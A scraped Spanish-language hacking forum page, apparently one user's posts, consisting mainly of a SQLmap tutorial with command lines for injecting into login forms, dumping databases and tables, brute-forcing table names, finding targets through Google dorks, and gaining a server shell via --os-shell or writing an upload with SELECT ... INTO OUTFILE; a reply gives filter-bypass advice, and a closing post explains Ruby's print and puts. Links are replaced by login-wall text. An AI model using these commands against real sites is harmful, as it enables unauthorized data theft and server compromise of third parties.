python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --dbs

Por ejemplo hacemos uso de una comilla simple '

5.- El comando --time-sec

Con este comando, ajustamos los segundos para retrasar alguna respuesta cuando hacemos Blind SQL Injection Time Based, colocamos el comando seguidamente un número (segundos), comúnmente es el 5. Un ejemplo:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --time-sec="5" --dbs

6.- El comando --dbms

Con este comando, podemos especificar el tipo de gestor de la base de datos, entre estos se encuentran los siguientes:

- MySQL [default]
- Oracle
- PostgreSQL
- Sybase
- Microsoft SQL Server


Entre otros, pero estos son los más comúnes. Tomemos como ejemplo lo siguiente:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --dbms=mysql --dbs

7.- El comando --union-cols

Este comando tiene como útilidad, especificar un número de columnas a análizar, por ejemplo, le podemos especificar al SQLmap que analize las columnas entre la 15 y la 18 , de la siguiente manera:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --threads=3 --cookie PHPSESSID=tusesion  --union-cols="15-18" --dbs

8.- El comando --technique

--technique="" , este comando se encarga de específicar la técnica que va a utilizar el SQLmap para explotar la vulnerabilidad, entonces:

- Si la SQLi es Union Based , se especifica con una "U"
- Si la SQLi es Time Based , se especifica con una "T"
- Si la SQLi es Error Based/Double Query , se especifica con una "E"
- Si la SQLi es Blind Boolean Based , se especifica con una "B"

Como un ejemplo, podemos tomar lo siguiente:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="" --technique="U"

Extrayendo los datos:

Para empezar está fase, podemos usar VARIOS comandos que trae incorporado el SQLmap, los cúales como su nombre lo indica, son para dumpear o extraer datos.

1.- El comando --dbs

El comando --dbs es para decirle al SQLmap, que analize todos los nombres de las bases de datos que se encuentran alojadas en el servidor. Se usa de la siguiente manera:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --dbs

2.- El comando --current-db

Con este comando, podemos extraer la currente DB, es decir, la base de datos actual del servidor y se usa de la siguiente manera:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --current-db

3.- Comandos --current-user y --users

Ambos comandos, tienen la misma funcionalidad, la diferencia es que uno verifica el currente usuario que usa el actúal servidor y el otro muestra todos los nombres de los que se encuentran. un ejemplo:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --current-user

4.- El comando -D

Con este comando, especificamos el nombre de la base de datos a análizar, un ejemplo:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname

5.- El comando -T y --tables

Con el comando --tables, extraemos todos los nombres de las tablas de una base de datos especifica, por ejemplo:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname --tables

Y el comando -T , especifica algún nombre de una tabla:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename

6.- El comando -C y --columns

Con el comando -C , especificamos el nombre de alguna columna especifica , y el comando --columns, se usa para análizar todos los nombres de las columnas de una currente tabla.

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna

7.- El comando --dump

Con este comando, podemos llegar a dumpear todos los registros de X tabla o columna o inclusive base de datos, según como lo hayamos específicado, por ejemplo, si yo quiero extraer todos los datos que están en la columna columna de la tabla tablename de la db dbname, hago lo siguiente:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna --dump

8.- El comando --dump-format=

Con este comando, especificamos el formato de archivo en el que el SQLmap dumpeara la base de datos, trae soportado HTML, CSV y SQLITE, un ejemplo de su uso:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna --dump-format=CSV

9.- El comando --dump-all

Con este comando, dumpeamos TODAS las tablas de todas las bases de datos, un ejemplo de su uso:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna --dump-all

Brute Force Mode:

1.- Comando --common-tables

Con este comando, podemos búscar los nombres de las tablas de una currente base de datos haciendo uso del modo fuerza brute, un ejemplo de su uso:

sqlmap.py -u You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -p "id" -D dbname --common-tables

2.- Comando --common-columns

A diferencia del otro comando, este solo se encarga de buscar el nombre de todas las columnas de alguna tabla especifica, igualmente haciendo uso del modo fuerza bruta, un ejemplo:

sqlmap.py -u You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -p "id" -D dbname -T tbname --common-columns

Otros:

1.- El comando --os-shell

Con este comando, podemos llegar a génerar un upload en un servidor web, pero son requeridas 2 cosas:

1- La folder tenga permisos de escritura.
2- Tener ciertos privilegios requeridos.
3- Tener un FPD (Full path disclosure).

Si se ha ejecutado con éxito el comando y se ha génerado el upload, se nos queda una sesión abierta con la cúal podemos hacer uso de otros comandos ya sean como los de la CMD de windows o la términal de linux.

2.- El comando --sql-shell y --sql-query

Con ambos comandos, podemos llegar a realizar sentencias SQL arbitrarias (si no me equivoco) haciendo uso de los privilegios del usuario MySQL. Por ejemplo, si yo quiero génerar un Upload con el comando --sql-shell, puedo basarme en la siguiente fórmula.

SELECT + 0xcodeuploadhex + INTO OUTFILE + FPD

Y ejecuto el comando --sql-shell en el sqlmap, y inserto los datos de arriba :).

O con el otro comando --sql-query , puedo llegar a realizar sentencias SQL arbitrarias, al igual que el anterior, ej de una consulta:

"SELECT 'foo'"

3.- El comando --random-agent

Con este comando, le especificamos al SQLmap que puede usar algún tipo de navegador aleatorio para explotar la vulnerabilidad, ejemplo:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --random-agent --dbs

4.- El comando --cookie

Con este comando, como su nombre lo indica, especificamos la cookie que estamos usando, ya sea nuestra sesión entre otras cosas. Se usa de la siguiente manera:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --cookie PHPSESSID=tusesion --dbs

5.- El comando --threads

Con este comando, especificamos el número de peticiones a realizar, podemos ir más rápido según él número que hayamos colocado, se usa de la siguiente manera:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --threads=3 --cookie PHPSESSID=tusesion --dbs

6.- El comando --privileges

Con este comando, podemos llegar a revisar TODOS los privilegios que se encuentran en el servidor MySQL, un ejemplo:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --threads=3 --cookie PHPSESSID=tusesion  --union-cols="15-18" --privileges

7.- El comando -b

Este es uno de los comandos muy simples, con él solo extraemos la versión actúal del servidor MySQL, comúnmente es la 5. un ej:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login --url="You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -b

8.- El comando -v

Con este comando, podemos añadir un nivel de verbosidad en la línea de comandos, entre los números del 1 (default) al 6, un ejemplo:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -u You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -p "id" -v 3

9.- El comando -g

Este es otro de los comandos más sencillos del SQLmap, se usa para especificar un Google Dork, es decir, colocar algún dork de google y luego este procesara los resultados, como un target/objetivo. Ej:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -g "inurl:index.php?id="

10.- Los comandos --level and --risk

Primero iniciemos con el comando --level, con este especificamos el nivel de testeo en el SQLmap, del 1 al 5. Y se usa de la siguiente manera:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -u You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login  --dbms=mysql --level=5

Y con el comando --risk, especificamos un nivel de peligrosidad/riesgo del 1 al 3, un ejemplo de su uso:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -u You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login  --dbms=mysql --level=5 --risk=3

11.- El comando --ignore-proxy

Con este comando, podemos decirle al SQLmap que ignore el proxy de un sistema HTTP, un ejemplo de su uso:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -u http://lolololol..es/page.php?id=10 -p "id" --random-agent --ignore-proxy

12.- El comando --keep-alive

Con este comando le especificamos al SQLmap que haga uso de conexiones HTTP Persistentes, un ejemplo de su uso sería el siguiente:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -u http://lolololol..es/page.php?id=10 -p "id" --random-agent --keep-alive

Este no es compatible con el comando --proxy

13.- El comando --null-connection

Con este comando, podemos especificarle al SQLmap de una conexión HTTP nula, ejemplo:

python You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login -u http://lolololol..es/page.php?id=10 -p "id" --random-agent --null-connection

Este comando no es compatible con --text-only

Y bueno, eso ha sido todo, espero les haya gustado el post y lo hayan entendido bien.

PD: A médida pase el tiempo, iré actualizando el post y añadiendo más comandos.

Saludos, M5f3r0 ;).
#39
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Tengo una consulta, y si despues de haber bypasseado para que me diera el numero de las tablas, como sigo si añadiendo el famoso "+from+information_schema.tables--" si me lo bloquea y me vuelve a tirar la pagina de error  :o

También puedes usar los mismos tips que coloque en el tutorial, por ejemplo en tu caso si deseas búscar las tablas puedes usar la siguiente inyección (en este caso con la web que use en el tuto):

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

En ese caso use limit, pero si quieres extraer todas tablas de la currente base de datos, puedes usar la siguiente:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

salu2 bro!! ;).
#40
Ruby / Explicando la diferencia entre "print & puts"
Julio 30, 2013, 03:33:26 PM
Hola comunidad de underc0de, aquí otro tema más sobre el lenguaje de programación "Ruby" , bueno, hace unos días vi un post en el que uno de los moderadores de está misma zona pregunto la diferencia entre las funciones "print" y "puts", pues aquí vengo a explicarles.

Ambas tienen la misma función, el cúal es reflejar lo que hayamos especificado en la consola. Pero en cambio, puts se encarga de escribir textos en diferentes líneas, es decir, dejando una nueva.

supongamos que estamos usando "gets.chomp" que es para que el usuario pueda escribir algún texto, entonces, si usamos print el usuario podra seguir escribiendo en la misma línea de la consola, ej:

print "Hola copia aquí:"

saldra en la consola un string diciendo: Copia aquí: , seguidamente en la misma línea el usuario podrá copiar su texto.

En cambio, si usamos la función "puts" , dejara una línea con el texto que hayamos especificado , otro ejemplo usando gets.chomp sería, cuando escribimos en la consola, pero en la otra línea.

Bueno, eso ha sido todo por este mini-tutoria. Espero lo hayan entendido.

Saludos, M5f3r0.